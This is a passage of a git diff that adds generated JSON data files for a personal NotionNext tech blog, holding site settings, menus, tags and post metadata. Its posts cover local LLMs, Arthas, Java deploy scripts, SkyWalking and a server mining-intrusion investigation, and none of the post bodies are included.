pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"docker"},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/git.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/git.json
new file mode 100644
index 000000000..9802efb0f
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/git.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 